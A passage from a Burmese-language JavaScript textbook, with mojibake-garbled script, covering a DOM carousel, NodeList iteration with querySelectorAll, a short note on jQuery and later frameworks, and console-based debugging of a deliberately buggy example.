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ဒါ .box ကကြေလး (၃) ခုနဲ့  <button> ကြေလး (၂) ခုပါဝင်တဲ့  HTML Structure goစ်ပြပီး သင့်ကြေတာ်တဲ့  CSS
Style ကြေလးကြေတွ ထည့်ကြေရးထားလုိ့ ရလဒ်က အခုလုိပံုစံ goစ်မှာပါ။

ပြပီးကြေတာ့မှာ #box2 နဲ့ #box3 ကို display: none နဲ့ ခဏကြေoျာက်ထားလုိက်ပါ။ CSS မှာ ဒီလုိကြေgပာင်း
ကြေပးရမှာပါ။

 CSS 

#box1 {
    background: darkcyan;
    display: none;
}

#box2 {
    background: dodgerblue;
    display: none;
}

ဒါကြေeကာင့် Box (၃) ခုမှာ (၁) ခုပဲ ကျန်မှာgoစ်ပါတယ်။ Next ခလုပ်ကိုနှိပ်ရင် ကြေနာက် Box တစ်ခုကို ကြေgပာင်း
gပပြပီး Prev ခလုပ်ကိုနှိပ်ရင် ကြေရှ့ Box တစ်ခုကို ကြေgပာင်းgပကြေအာင် အခုလုိကြေလး ကြေရးကြေပးလုိက်ပါ။
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 ုံံHTML & JavaScript 

<script>
    let box = 1

    function next() {
        document.querySelector(`#box${box}`).style.display = "none"
        box++; if(box > 3) box = 1
        document.querySelector(`#box${box}`).style.display = "block"
    }

    function prev() {
        document.querySelector(`#box${box}`).style.display = "none"
        box--; if(box < 1) box = 3
        document.querySelector(`#box${box}`).style.display = "block"
    }

    document.querySelector("#next").onclick = next
    document.querySelector("#prev").onclick = prev

    setInterval(next, 5000)
</script>

ပထမဆံုး  box အမည်နဲ့  Variable  တစ်ခုကို  အားလံုးရဲ့အကြေပါ်မှာ  ကြေeကညာထားပါတယ်။  next()
Function  က အ့ဲဒီ  box တန်oုိးနဲ့  Element  ကို  Select  လုပ်ပြပီးကြေoျာက်လုိက်လုိ့  နှိပ်လုိက်ရင်  #box1
ကြေပျာက်သွားမှာပါ။  ပြပီးကြေတာ့မှ  box++ နဲ့  တစ်တိုးပြပီး  Select  gပန်လုပ်ထားလုိ့  ဒီတစ်ခါ  Select  လုပ်မှာ
#box2 goစ်သွားပါပြပီ။  ဒါကြေeကာင့်  #box2 ကြေပါ်လာမှာပါ။  Next  ကိုကြေနာက်တစ်ကြကိမ်နှိပ်တဲ့အခါ  box
Variable  တန်oုိးက  2  goစ်ကြေနပါပြပီ။ ဒါကြေeကာင့်  #box2 ကြေပျာက်သွားပြပီး  #box3 ကြေပါ်လာမှာပါ။ ဒီနည်းနဲ့
တစ်ချက်နှစ်တိုင်း ကြေနာက်  Box တစ်ခုကို ကြေgပာင်းgပတဲ့ လုပ်ကြေဆာင်ချက်ကို ရသွားပါတယ်။ ဒါကြေပမယ့်  Box
က (၃) ခုပဲရှိလုိ့  box Variable တန်oုိး  3 ထက်ကြေကျာ်မှာစိုးလုိ့  3 ထက်ကြေကျာ်ရင် 1 ကိုgပန်ကြေgပာင်းကြေပးထား
လုိက်လုိ့ ကြေနာက်ဆံုး Box ကို ကြေရာက်ပြပီးရင် ကြေရှ့ ဆံုး Box ကို gပန်ကြေရာက်သွားမှာ goစ်ပါတယ်။ ကုဒ်နမူနာမှာ
Statement  နှစ်ကြေeကာင်းကို  တစ်ကြေeကာင်းထဲ  ကြေရာကြေရးထားလုိ့  Semicolon  ကြေလးခံထားတာကိုလည်း
သတိgပုပါ။

prev() Function ရဲ့လုပ်ကြေဆာင်ချက်က next() နဲ့အတူတူပါပဲ။ box Variable ကို 1 တိုးမယ့်အစား 1
နှုတ်ကြေပးလုိက်တာပါ။ အ့ဲဒီလုိနှုတ်တဲ့အခါ  1  ထက်ငယ်ရင်  3  လုိ့ကြေပးထားတဲ့အတွက် ကြေရှ့ဆံုးကြေရာက်ကြေနချနိ်
prev() ကို  သွားလုိက်ရင် ကြေနာက်ဆံုးကိုကြေရာက်သွားမှာပါ။ ဒီနည်းနဲ့  ကြေရှ့ကြေနာက် သွားလုိရ့တဲ့  Function
နှစ်ခုရသွားပါတယ်။
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ပြပီးကြေတာ့မှ  အ့ဲဒီ  Function  ကြေတွကို  သက်ဆိုင်ရာ  Button  မှာတွဲကြေပးလုိက်ပါတယ်။  ဒါတင်မက
setIntervel() နဲ့လည်း  next ကို  Run  ကြေပးထားလုိ့  နမူနာအရ ၅ စက္ကန့်တစ်ခါ  အလုိအကြေလျှာက်
ကြေgပာင်းကြေနတဲ့ Carousel လုပ်ကြေဆာင်ချက်ကြေလးကို ရရှိသွားပြပီပဲ goစ်ပါတယ်။

ဒီလုိမျ ို း  နားလည်ရသိပ်မခက်yဲ  လက်ကြေတွ့အသုံးဝင်တဲ့  နမူနာကြေလးကြေတွကိုကြကိုကြေရးပြပီး  တင်ထားကြေပးပါ
မယ်။ ဒီလိပ်စာမှာ Download ရယူပြပီး၊ တစ်ခုပြပီးတစ်ခု ကြေလ့လာစမ်းသပ် eကည့်ကြေစချင်ပါတယ်။

- https://github.com/eimg/javascript-book

Element List
အခုနမူနာကြေတွကြေရးတဲ့အခါ  သံုးရပုိလွယ်တဲ့  querySelector() ကိုပဲ  ကြေတာက်ကြေလျှာက်သုံးခဲ့ပါတယ်။
လုိချင်တဲ့  Element  ကိုတန်းရလုိပ့ါ။ တစ်ကယ့်လက်ကြေတွ့မှာ  querySelectorAll() ကိုပုိအသုံးများ
နိုင်ပါတယ်။ Selector တစ်ခုကgပန်ကြေပးတဲ့ Element ကြေတွအများကြကီး goစ်နိုင်ပါတယ်။ ဥပမာ ul > li ဆို
ရင် <ul> ထဲမှာ ရှိသမျှ <li> ကြေတွအကုန်ရမှာပါ။ ဒါကြေပမယ့် querySelector() နဲဆ့ိုရင် တစ်ခုပဲ ရ
ပါလိမ့်မယ်။ တစ်ကယ် အကုန်လုိချင်ရင်ကြေတာ့ querySelectorAll() ကိုသုံးမှ ရပါလိမ့်မယ်။

querySelectorAll() နဲ့  Select လုပ်ယူတဲ့အခါ gပန်ရမယ့် ရလဒ်က Array နဲဆ့င်တူတဲ့  Node List
ကိုgပန်ရမှာgoစ်ပါတယ်။  Array  နဲဆ့င်တူကြေပမယ့် တစ်ကယ်  Array  ကြေတာ့မဟုတ်ပါyူး။  ဒါကြေeကာင့်  သုံးတဲ့
အခါ Array ကဲ့သုိ့ သုံးနိုင်ကြေပမယ့် map() တို့ filter() တိုလုိ့ Array Method ကြေတွ အလုပ်မလုပ်ပါyူး။
ဒါကြေပမယ့် Iterable အမျ ို းအစားgoစ်လုိ ့for-of Loop နဲ့ သူ့ကို Loop လုပ်လုိရ့နိုင်ပါတယ်။

 ုံံHTML & JavaScript 

<ul>
    <li>Item One</li>
    <li>Item Two</li>
    <li>Item Three</li>
    <li>Item Four</li>
</ul>

https://github.com/eimg/javascript-book
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<script>
    let items = document.querySelectorAll("ul > li")

    for(li of items) {
        console.log(li.textContent)
    }
</script> 

ဒါဟာ  <li> Element  ကြေတွပါဝင်တဲ့  Node  List  ကို  for-of နဲ့  Loop  လုပ်ပြပီး  သူ့ရဲ့  Content  ကို
Console မှာ တန်းစီရုိက်ထုတ်လုိက်တာပါ။ ဒါကြေeကာင့် Browser Console ကိုoွင့်eကည့်ရင် အခုလုိရလဒ်ကို
ကြေတွ့ gမင်ရမှာပါ။

Item One
Item Two
Item Three
Item Four

အကယ်၍ Node List ကြေပါ်မှာ map() လုိမျ ို း Loop လုပ်လုိရ့တဲ့ Method သုံးချင်ရင် forEach() ကိုသုံး
လုိလ့ည်း ရနိုင်ပါကြေသးတယ်။ ဒီလုိပါ – 

 ုံံHTML & JavaScript 

<ul>
    <li>Item One</li>
    <li>Item Two</li>
    <li>Item Three</li>
    <li>Item Four</li>
</ul>

<script>
    let items = document.querySelectorAll("ul > li")
    items.forEach(li => li.textContent)
</script>

တူညီတဲ့ရလဒ်ကို ရမှာgoစ်ပါတယ်။ ဒီကြေနရာမှာ တစ်ခုသတိgပုရမှာက forEach() က Item တစ်ခခုျင်းစီ
ကြေပါ်မှာ ကြေပးလုိက်တဲ့ Callback Function ကို အလုပ်လုပ်သွားကြေပမယ့် ရလဒ်ကို map() လုိ Array အကြေနနဲ့
gပန်မကြေပးပါyူး။ ဒါကြေeကာင့် လုိချင်တဲ့အလုပ်ခိုင်းလုိ့ ရပါတယ်၊ Return Value ကြေတာ့ ရှိမှာ မဟုတ်ပါyူး။
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လက်စနဲ့  Array တစ်ခုကို သံုးပြပီး  Element List  တစ်ခု တည်ကြေဆာက်ကြေoာ်gပကြေစတဲ့ ကုဒ်ကြေလးလည်း နမူနာ
ထည့်gပလုိက်ချင်ပါတယ်။ ဒီလုိပါ – 

 HTML & JavaScript 

<ul></ul>

<script>
    let fruits = ["Apple", "Orange", "Mango"]
    let ul = document.querySelector("ul")

    fruits.map(fruit => {
        let li = document.createElement("li")
        li.textContent = fruit
        ul.appendChild(li)
    })
</script>

ဒါဟာ Array တစ်ခုထဲမှာပါတဲ့ Item ကြေတွကိုသုံးပြပီး <ul> Element ထဲမှာ <li> Element ကြေတွ တစ်ခုပြပီး
တစ်ခတုည်ကြေဆာက်ပြပီး ထည့်ကြေပးလုိက်တာပါ။ ဒီတစ်ခါကြေတာ့  Array  ကြေပါ်မှာ အလုပ်လုပ်တာမုိ့လုိ့  map()
ကိုသုံးထားပါတယ်။

Wrapping Up
အခုလုိ  DOM Manipulation  လုပ်ငန်းကြေတွနဲပ့က်သက်ရင်  အရမ်းကြေကာင်းတဲ့  JavaScript  Library  နည်း
ပညာတစ်ခုရှိပါတယ်။  jQuery  လုိ့ကြေခါ်ပါတယ်။  လူသံုးကြေတာ်ကြေတာ်များတဲ့  နည်းပညာတစ်ခုပါ။
yယ်ကြေလာက်ကြေတာင် လူသံုးများသလဲဆိုရင် အင်တာနက်ကြေပါ်မှာရှိသမျှ ဝy်ဆိုကက်ြေတွရဲ့ ထက်ဝက်နီးပါးက
jQuery ကို အသုံးgပုထားeကပါတယ်။ 

jQuery  က  JavaScript  မှာ  querySelector() တို့  querySelectorAll() တို့  မရှိခင်
ကတည်းက  CSS  Selector  အတိုင်း  Element  ကြေတွကို  Select  လုပ်လုိရ့ကြေအာင်  စီစဉ်ကြေပးထားတာပါ။
JavaScript  မှာ forEach() မရှိခင်ကတည်းက အလားတူ လုပ်ကြေဆာင်ချက်မျ ို းကြေတွ သူ့မှာ ရှိကြေနတာပါ။
ဒါက အခုကြေgပာလက်စရှိတဲ့  နမူနာကြေတွကြေလာက်ကိုသာ ကြေရွးထုတ်ကြေgပာတာပါ။ တစ်ကယ်ကြေတာ့ အသုံးဝင်ပြပီး
မူလ JavaScript  မှာ မပါတဲ့၊ မရှိတဲ့၊ လုပ်ကြေဆာင်ချက်ကြေတွ ကြေတာ်ကြေတာ်များများကို  jQuery  က oန်တီးကြေပး
ထားပါတယ်။  ပြပီးကြေတာ့၊  အရင်က  Browser  ကြေတွတစ်ခုနဲတ့စ်ခု  အလုပ်လုပ်ပံု  မတူကွဲgပားမှုကြေတွ  ရှိကြေနစဉ်
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ကာလမှာ၊ ကြေရးလုိက်တဲ့ကုဒ်ကြေတွ Browser အားလုံးမှာ တူညီစွာ အလုပ်လုပ်ကြေအာင်လည်း jQuery က စီစဉ်
ကြေပးထားပါကြေသးတယ်။ ဒါကြေeကာင့် ကြေတာ်ကြေတာ်အသုံးဝင်ပြပီး မရှိမgoစ်နည်းပညာgoစ်ခဲ့ပါတယ်။

အခုကြေနာက်ပုိင်းမှာကြေတာ့ Internet Explorer လုိ အလွန်ကြေနှးပြပီး gပဿနာကြေတွများတဲ့ Browser မျ ို းကို လူသံုး
နည်းသွားသလုိ JavaScript ကိုယ်တိုင်မှာလည်း jQuery က လုပ်ကြေပးနိုင်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွ တစ်ခါထဲ
ပါဝင်လာပါပြပီ။  ဒါကြေeကာင့်အခုချနိ်မှာ  jQuery  ကို  ထည့်သွင်းကြေလ့လာထားရင်  ကြေကာင်းကြေပမယ့်  မgoစ်မကြေန
လုိအပ်တာမျ ို း မဟုတ်ကြေတာ့ပါyူး။

jQuery နဲ့ ပြပိုင်တူလုိလုိ ထွက်ကြေပါ်ခဲ့တဲ့ အgခား JavaScript နည်းပညာ အကြေgမာက်အများ ရှိခဲ့သလုိ့  jQuery
ရဲ့ကြေနာက်မှာ  ထပ်ဆင့်ထွက်ကြေပါ်လာတဲ့  JavaScript  နည်းပညာကြေတွလည်း  အကြေgမာက်အgမား  ရိှပါကြေသး
တယ်။  BackboneJS,  AngularJS,  EmberJS  စသည်goင့်  ထင်ရှားခဲ့eကပါတယ်။  လက်ရှိ  အထင်ရှားဆံုး
နည်းပညာကြေတွကကြေတာ့ React နဲ့ Vuejs တိုပဲ့ goစ်ပါတယ်။ React အကြေeကာင်းကို ကြေနာက်ပုိင်းမှာ ထည့်သွင်း
ကြေoာ်gပသွားမှာပါ။

ဒါက  Development  ပုိင်းကိုပဲ  ကြေgပာတာပါ။  Tooling  ကြေခါ် ဆက်စပ်နည်းပညာကြေတွလည်း ရှိပါကြေသးတယ်။
ESLint လုိ JavaScript ကုဒ်ကြေတွထဲမှာ အမှားရှာကြေပးနိုင်တဲ့ နည်းပညာကြေတွ၊ Webpack လုိ Node Module
ကြေတွကို  Web မှာသုံးလုိရ့ကြေအာင် စီမံကြေပးတဲ့ နည်းပညာကြေတွ၊  Babel လုိ အသစ်တီထွင်ထားတဲ့  ES Feature
သစ်ကြေတွကို ကြေလာကြေလာဆယ် Support  မလုပ်ကြေသးတဲ့  Browser  ကြေတွမှာ အလုပ်လုပ်ကြေအာင် စီမံကြေပးနိုင်တဲ့
နည်းပညာကြေတွ၊  NPM  လုိ  JavaScript  Module  ကြေတွ  Package  ကြေတွကို  စီမံကြေပးနိုင်တဲ့  နည်းပညာကြေတွ၊
စသည်goင့် ရှိကြေနပါတယ်။

JavaScript ဟာ ကြေတာ်ကြေတာ် ကြေလးကျယ်gပန့်တဲ့ yာသာရပ်တစ်ခုပါ။ အခုဒီစာအုပ်ကြေပးတဲ့ ဗဟုသုတကြေပါ်မှာ
အကြေgခခံပြပီး  ကြေနာက်အဆင့်  ကြေနာက်အဆင့်ကြေတွကို  တစ်ဆင့်gခင်း  ဆက်လက်  တက်လှမ်းသွားရမှာပဲ  goစ်ပါ
တယ်။
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ကုဒ်ထဲမှာ မသိလုိက်yဲ ပါသွားတဲ့ အမှားကြေလးကြေတွကို  Bug  လုိ့ကြေခါ်ပါတယ်။ ဟိုးကြေရှးကြေရှးက ကွန်ပျူတာဆို
တာ အခုလုိ စားပဲွတင်ကွန်ပျူတာ မဟုတ်ကြေသးyဲ အခန်းတစ်ခန်းလံုးစာ အgပည့်ယူတဲ့ စက်ကြကီးကြေတွပါ။ အ့ဲ
ဒီကြေခတ်က ကွန်ပျူတာ အလုပ်မလုပ်လုိ့  အကြေgoရှာeကည့်လုိက်တာ ပုိးဟပ်တစ်ကြေကာင် စက်ထဲမှာဝင်ကြေနလုိ့
အလုပ်မလုပ်တာကို သွားကြေတွ့ရာကကြေန ကြေနာက်ပုိင်းမှာ အလုပ်မလုပ်ကြေအာင် gပဿနာကြေပးကြေနတဲ့ အမှားကြေလး
ကြေတွကို  Bug  လုိ့ကြေခါ်တဲ့  အကြေလ့အထ goစ်သွားခဲ့တာလုိ့  ဆိုပါတယ်။ ဒါကြေeကာင့်  Debug    လုပ်တယ်ဆိုတာ  
Bug   ကို oယ်ထုတ်လုိက်တာ  ၊ ရှင်းလုိက်တာပါ။ အမှားကို မှန်ကြေအာင်gပင်လုိက်တာပါ။

JavaScript ကုဒ်ကြေတွကြေရးတဲ့အခါ Console မှာ တုိက်ရုိက်ကြေရးပြပီး စမ်းeကည့်တဲ့ ကုဒ်ကြေတွက သိပ်gပဿနာမ
ရှိပါyူး။ မှားရင်  Error  တက်လုိ့ မှားမှန်း ချက်ချင်းသိရပါတယ်။ လံုးဝအတိအကျကြကီး မဟုတ်ကြေပမယ့် yာ
ကြေeကာင့်မှားလဲဆိုတာကို Error Message ကြေတွgပကြေပးလုိ့ အ့ဲဒီ Error Message ကြေတွကို ကြေလ့လာပြပီး ကိုယ့်ကုဒ်
ကို လုိအပ်သလုိ မှန်ကြေအာင် gပင်ကြေပးလုိက်လုိရ့နိုင်ပါတယ်။

Browser မှာ Run တဲ့အခါမှာကြေတာ့ ကြေရးထားတဲ့ JavaScript ကုဒ်မှားကြေနရင် Browser က Error မgပပါyူး။
ဒါကြေeကာင့် ကြေရးပြပီးစမ်းeကည့်လုိက်လုိ့  အလုပ်မလုပ်တဲ့အခါ yာကြေeကာင့်အလုပ်မလုပ်မှန်း  မသိကြေတာ့တာမျ ို း
ကြေတွ goစ်eကပါတယ်။ တစ်ကယ်ကြေတာ့ Error ကြေတွကို လံုးဝမgပတာ မဟုတ်ပါyူး။ Browser gမင်ကွင်းမှာ မ
gပကြေပမယ့်  Console  ထဲမှာကြေတာ့ gပကြေပးပါတယ်။ ဒါကြေeကာင့်  Debug  လုပ်ပြပီး အမှားရှာနိုင်oုိ့အတွက်  ကြေရးတဲ့
ကုဒ် အလုပ်မလုပ်ရင်    Browser Console   oွင့်eကည့်ပြပီး အကြေgoရှာရတယ်   ဆိုတာကို ဦးဆံုးမှတ်ထားoုိ့ လုိပါ
တယ်။

အခုလုိ စာအုပ်ကြေတွကြေရးသလုိ သင်တန်းကြေတွoွင့်ပြပီး စာကြေတွလည်း သင်ကြေနကြေတာ့ အပြမဲကြကံုရပါတယ်။ အလုပ်မ
လုပ်ရင်   Console   ကို oွင့်eကည့်ပါ   လုိ့ yယ်ကြေလာက်ပဲ ထပ်ခါထပ်ခါ ကြေgပာထားထား၊ အဆင်မကြေgပတာနဲ့ yာ



PWD 2023 – အခန်း (၂၃) –  JavaScript Debugging 374

လုပ်လုိ့  yာကိုင်ရမှန်းမသိ စိတ်ညစ်ပြပီး၊  "ဆရာ မရyူး"  တို့  "ဆရာ အလုပ်မလုပ်yူး"  တိုဆ့ိုတာမျ ို းကြေတွ
အပြမဲတမ်း ကြေမးeကပါတယ်။ ကြေမးတာက gပဿနာမဟုတ်ပါyူး။  "Console  ကိုoွင့်eကည့်ပြပီးပြပီလား"  လုိgပန်
ကြေမးလုိက်ရင် အများစုက မeကည့်ရကြေသးပါyူး။ တစ်ကယ်တမ်း  Console  oွင့်eကည့်လုိက်တဲ့အခါ မှားရတဲ့
အကြေeကာင်းရင်းကို သိသွားပြပီး ကိုယ်yာသာမှန်ကြေအာင် gပင်လုိက်နိုင်eကတာ များပါတယ်။

အစပုိင်းကြေလ့လာစကြေရးတဲ့ ကုဒ်ကြေတွဆိုတာ yာမှရှုပ်ကြေထွးတဲ့ကုဒ်ကြေတွ မဟုတ်ကြေသးပါyူး။ ဒီအဆင့်မှာ ကြေတာ်
ယုံတန်ယုံ  အမှားကြေလာက်က  Console  မှာgပတဲ့  Error  ကြေတွနဲတ့င်  အကြေgoထွက်ပါတယ်။  တစ်ခါတစ်ကြေလ
ကြေတာ့ yာ Error မှ မgပyဲ အလုပ်မလုပ်တဲ့ gပဿနာမျ ိုကြေတွကြေတာ့ ရှတိတ်ပါတယ်။ အ့ဲဒီလုိ ရှိလာတဲ့အခါ မ
မှားyူး ထင်ရကြေပမယ့် မှားeကတဲ့အမှားကြေလးကြေတွ ရှိပါတယ်။ yာလဲဆိုကြေတာ့ ကုဒ်ကြေတွကြေရးကြေနတာက oုိင်တစ်
ခ၊ု  တစ်ကယ်တမ်း  oွင့်စမ်းကြေနတာက oုိင်တစ်ခု  goစ်eကတာကိုလည်း  မeကာမeကာ  ကြကံုရပါတယ်။  မgoစ်
ကြေလာက်ပါyူး မထင်နဲ၊့ တစ်ခါတစ်ကြေလ မဟုတ်ပါyူး၊ ခဏခဏကို goစ်eကတာပါ။ ဒီကြေတာ့ ကြေရးချင်ရာကြေရး၊
gပင်ချင်သလုိgပင်၊ အလုပ်ကို  မလုပ်yူးgoစ်ကြေနတာကြေပါ။့  yယ်လုပ်ပါမ့လဲ၊ oွင့်စမ်းကြေနတာက လက်ရှိကြေရးကြေန
တဲ့ oုိင်မှ မဟုတ်တာ။ ဒါကြေeကာင့် Error   လည်းမgပyူး၊ အလုပ်လည်းမလုပ်yူးဆိုရင် ကြေရးတဲ့oုိင်နဲ့ စမ်းတဲ့oုိင်  
တရူဲ့လားဆိုတာကို အရင်ဆံုး ကြေသချာgပန်စစ်ပါ။

ကြေနာက်gပဿနာတစ်ခုကကြေတာ့၊ ကြေရးတဲ့oုိင်နဲ့  စမ်းတဲ့oုိင် တတူယ်။  Browser  မှာ  Refresh  လုပ်oုိ့  ကြေမ့ပြပီး ဒီ
တိုင်းစမ်းကြေနမိတာ  ဆိုတာမျ ို းလည်း  goစ်တတ်ပါကြေသးတယ်။  ကြေလ့လာသူကြေတွမကြေgပာနဲ့  အကြေတွ့အကြကံုရှိသူ
ကြေတကွြေတာင် မeကာခဏ goစ်တတ်eကပါကြေသးတယ်။ Browser မှာ Refresh မလုပ်ရင်ကြေတာ့ ကြေရးလုိက်တဲ့ကုဒ်
က အသက်ဝင်မှာ မဟုတ်ပါyူး။ နင်္ဂိုအကြေဟာင်းကြကီးကိုပဲ အလုပ်လုပ်ကြေနမှာပါ။ ဒါကြေeကာင့် ကိုယ်ကကြေတာ့ gပင်
လုိက်တယ် ရလဒ်မှာ ကြေgပာင်းမသွားyူးဆိုတာမျ ို း goစ်တတ်ပါတယ်။ ဒါကြေeကာင့် Browser   ကို   Refresh   လုပ်  
ပြပီးမှ စမ်းeကည့်oုိက့ိုလည်း မကြေမ့oုိသ့တိgပုရပါမယ်။

ကြေရးတဲ့oုိင်လည်းမှန်တယ်၊ စမ်းတဲ့oုိင်လည်း မှန်တယ်၊ Refresh ကြေတွyာကြေတွလည်း ကြေသချာလုပ်တယ်။အ့ဲဒါ
လည်း  အလုပ်မလုပ်ကြေသးyူး၊  Error  လည်းမgပyူး  ဆိုတာမျ ို း  goစ်လာရင်ကြေတာ့  console.log()
Method ကို အားကိုးရမှာပဲ goစ်ပါတယ်။ ဥပမာအကြေနနဲ့ မှားကြေနတဲ့ ကုဒ်ကြေလးတစ်ခု ကြေပးချင်ပါတယ်။
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 HTML & JavaScript 

<input type="text">
<label></label>

<script>
    document.querySelector("input").onekeyup = function() {
        let count = document.querySelector("input").value.lenght
        if(count) {
            document.querySelector("label").testContent = count
        }
    }
</script>

<input> မှာ တစ်ခုခုရုိက်ထည့်လုိက်တာနဲ့ စာလံုးအကြေရအတွက်ကို <label> ထဲမှာ gပကြေအာင် ကြေရးထား
တဲ့ ကုဒ်ပါ။ ဒီကုဒ်ဟာ မှားကြေနတဲ့အတွက် အလုပ်လုပ်မှာ မဟုတ်ပါyူး။ gပဿနာက Error Message လည်း
gပမှာ မဟုတ်ပါyူး။  ကိုယ်yာသာoတ်eကည့်ပြပီး  အမှားကိုကြေတွ့ကြေအာင်ရှာရပါကြေတာ့မယ်။ ဒီကုဒ်ကြေလာက်မှာ
ရှာကြေကာင်းရှာနိုင်ကြေပမယ့်  ကုဒ်ကြေတွများလာရင်  တစ်လံုးချင်းoတ်ပြပီး  ရှာoုိဆ့ိုတာ  မလွယ်ကြေတာ့ပါyူး။  ဒါ
ကြေeကာင့် yယ်အပုိင်း အလုပ်လုပ်တယ်၊ yယ်အပုိင်း အလုပ်မလုပ်မyူးဆိုတာ ကြေပါ်လွင်ကြေအာင် လက်ရှိကုဒ်
ရဲ့ eကားထဲမှာ console.log() ကြေလးကြေတွ လုိက်ထုတ်eကည့်လုိ ့ရနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

console.log("JavaScript working")

document.querySelector("input").onekeyup = function() {

    console.log("Keyup working")

    let count = document.querySelector("input").value.lenght

    if(count) {

        console.log("Inside if block")

        document.querySelector("label").testContent = count
    }
}

console.log() Statement ကြေတွပါသွားလုိ့ JavaScript working ဆိုတဲ့ကြေoာ်gပချက် Console မှာကြေပါ်
ရင် ဒီအဆင့်ထိ အလုပ်လုပ်တယ်ဆိုတာ ကြေသချာသွားပါပြပီ။  keyup လုပ်ကြေဆာင်ချက်သာ အလုပ်လုပ်မယ်
ဆိုရင်  Keyup  working ဆိုတဲ့ကြေoာ်gပချက်  Console  မှာထွက်ရပါမယ်။  ကြေပးထားတဲ့  နမူနာမှာ  ထွက်မှာ
မဟုတ်ပါyူး။ ဒါဆိုရင် သူက Error မgပကြေပမယ့် ကိုယ့်အစီအစဉ်နဲက့ိုယ် Keyup လုပ်ကြေဆာင်ချက် အလုပ်မ



PWD 2023 – အခန်း (၂၃) –  JavaScript Debugging 376

လုပ်တာ သိသွားပြပီမုိလုိ့့ အ့ဲဒီအပုိင်းကို ဦးစားကြေပးအကြေgoရှာလုိက်လုိ့ ရသွားပါပြပီ။ နမူနာမှာ onkeyup goစ်ရ
မှာကို onekeyup goစ်ကြေနပါတယ်။ အ့ဲဒါကြေလးgပင်ပြပီး ကြေနာက်တစ်ကြကိမ် စမ်းeကည့်ရင်  Keyup working ဆို
တဲ့ကြေoာ်gပချက်ကို ကြေတွ့ gမင်ရမှာပါ။ ဒါဆိုရင် gပဿနာတစ်ခု ကြေgပလည်သွားပါပြပီ။

အမှားကြေတွကျန်ကြေနကြေသးလုိ့ အလုပ်ကြေတာ့လုပ်ဦးမှာ မဟုတ်ပါyူး။ အကယ်၍ Inside if block ဆိုတဲ့ ရလဒ်
ထွက်ကြေပါ်မယ်ဆိုရင် count တန်oုိးမှန်လုိပ့ါ။ မကြေပါ်ရင်ကြေတာ့ count တန်oုိးမမှန်လုိပ့ါ။ ဒါဆိုရင် count
တန်oုိးယူထားတဲ့  Statement  ကို  စစ်လုိက်ယံုပါပဲ။  နမူနာမှာ  value.length goစ်ရမယ့်အစား
value.lenght goစ်ကြေနပါတယ်။ gပင်ကြေပးလုိက်ရင်  မှန်သွားလုိ့  Inside if  block ဆိုတဲ့  ကြေoာ်gပချက်ကို
ကြေတွ့ gမင်ရပါလိမ့်မယ်။

ဒါကြေပမယ့် အမှားကျန်ကြေနကြေသးလုိ့ လုိချင်တဲ့ရလဒ်အမှန် မရကြေသးပါyူး။  Inside if block ဆိုတဲ့ ကြေoာ်gပချက်
ကြေeကာင့်  အ့ဲဒီနားထိ  ကြေရာက်ကြေနပြပီ၊  မှန်ကြေနပြပီဆိုတာ  ကြေသချာကြေနပြပီမုိလုိ့့  စစ်စရာ  တစ်ကြေနရာပဲ  ကျန်ပါကြေတာ့
တယ်။ သတိထားeကည့်လုိက်ရင် ကြေတွ့ရပါလိမ့်မယ်။  textContent goစ်ရမယ့်အစား  testContent
goစ်ကြေနပါတယ်။ အ့ဲဒါကြေလးgပင်ပြပီး စမ်းeကည့်လုိက်ရင်ကြေတာ့ အားလုံးမှန်သွားပြပီမုိလုိ့့ လုိချင်တဲ့ရလဒ်အမှန်ကို
ရရှိသွားမှာပဲ goစ်ပါတယ်။

console.log() အgပင် အသုံးဝင်တဲ့ တgခား Method ကြေလးကြေတွ ရှိပါကြေသးတယ်။ 

console.info() – console.log() နဲ့အတူတူပါပဲ။ Firefox Browser မှာဆိုရင် ကြေရှ့ကကြေန Info
Icon ကြေလးထည့်ပြပီး gပကြေပးပါတယ်။ Chrome မှာကြေတာ့ မgပပါyူး။

console.warn() –  console.log() နဲအ့တူတူပါပဲ။  စာလံုးအဝါကြေရာင်နဲ့  ကြေရှ့ကကြေန  Warning
Icon ကြေလးထည့်ပြပီး gပကြေပးပါတယ်။

console.error() – console.log() နဲအ့တူတူပါပဲ။ စာလံုးအနကီြေရာင်နဲ့ ကြေရှ့ကကြေန Error Icon
ကြေလးထည့်ပြပီး gပကြေပးပါတယ်။
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နမူနာပုံကိုeကည့်လုိက်ရင်  console.log(),  console.info(),  console.warn() နဲ့
console.error() တိုက့ို သံုးgပထားပါ။ Console မှာgပတဲ့ ကြေoာ်gပချက်ကြေလးကြေတွ အကြေရာင်ကြေgပာင်းသွား
ယုံသာမက  သင့်ကြေတာ်တဲ့  Icon  ကြေလးကြေတွ  တဲွgပတာကိုကြေတွ့ရမှာပါ။  ပြပီးကြေတာ့  ဟိုးအကြေပါ်ညာyက်နားမှာ
Warning နဲ ့Error အကြေရအတွက်ကိုလည်း gပကြေပးကြေနတာကို ကြေတွ့ရပါလိမ့်မယ်။

console.table() –  Array  ကြေတွ  Object  ကြေတွမှာပါတဲ့  Data  ကြေတွကို  Table  ကြေလးတစ်ခုနဲ့  eကည့်
ကြေကာင်းကြေအာင် gပကြေပးပါတယ်။ ရုိးရုိး console.log() နဲတ့စ်ချ ို ့  Structure Data ကြေတွကို eကည့်ရခက်
တယ်ထင်ရင် console.table() နဲ့ ထုတ်eကည့်နိုင်ပါတယ်။

console.trace() – Function ကြေတွထဲမှာ ဒီ Statement ကို ကြေရးထားမယ်ဆိုရင် Function ကို yယ်
ကကြေခါ်သလဲဆိုတဲ့ကြေခါ်ယူမှု အဆင့်ဆင့်ကို gပကြေပးပါတယ်။

console.time(), console.timeEnd() –  တစ်ချ ို ့ကုဒ်ကြေတွ  အလုပ်လုပ်တာ  yယ်ကြေလာက်
eကာသလဲ သိချင်ရင် ဒီနှစ်ခုကို တဲွသံုးနိုင်ပါတယ်။ ကုဒ်ရဲ့အကြေပါ်မှာ console.time() ကို ကြေရးပြပီး ကုဒ်
ရဲ့ ကြေအာက်မှာ console.timeEnd() ကိုကြေရးထားမယ်ဆိုရင် eကာချနိ်ကို ကြေoာ်gပကြေပးမှာ goစ်ပါတယ်။
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ဒီလုိ Console မှာထုတ်eကည့်ပြပီး Debug လုပ်တဲ့နည်းဟာ စနစ်ကျတဲ့နည်း မဟုတ်ကြေပမယ့် လူတိုင်းသံုးကြေန
